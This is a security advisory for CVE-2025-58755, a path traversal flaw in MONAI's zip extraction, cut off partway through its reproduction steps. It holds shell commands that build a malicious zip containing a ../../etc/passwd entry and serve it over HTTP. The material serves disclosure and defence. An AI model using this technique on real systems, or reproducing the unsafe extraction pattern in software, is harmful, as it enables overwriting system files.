CVE-2025-58755 — MONAI has path traversal issue that may lead to arbitrary file writes

Affected: Project-MONAI MONAI

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. The extractall function `zip_file.extractall(output_dir)` is used directly to process compressed files. It is used in many places in the project. In versions up to and including 1.5.0, when the Zip file containing malicious content is decompressed, it overwrites the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability. As of time of publication, no known fixed versions are available.

Affected: PyPI: monai

### Summary The extractall function ```zip_file.extractall(output_dir)``` is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file. ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd adding: malicious.txt (stored 0%) adding: ../../../../../../etc/passwd (deflated 64%) root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd .. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls malicious.zip p1.py p2.py r1.py test_bundle ``` Then start the http service through python ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... ``` Another terminal simulates a normal user downloading zip co…
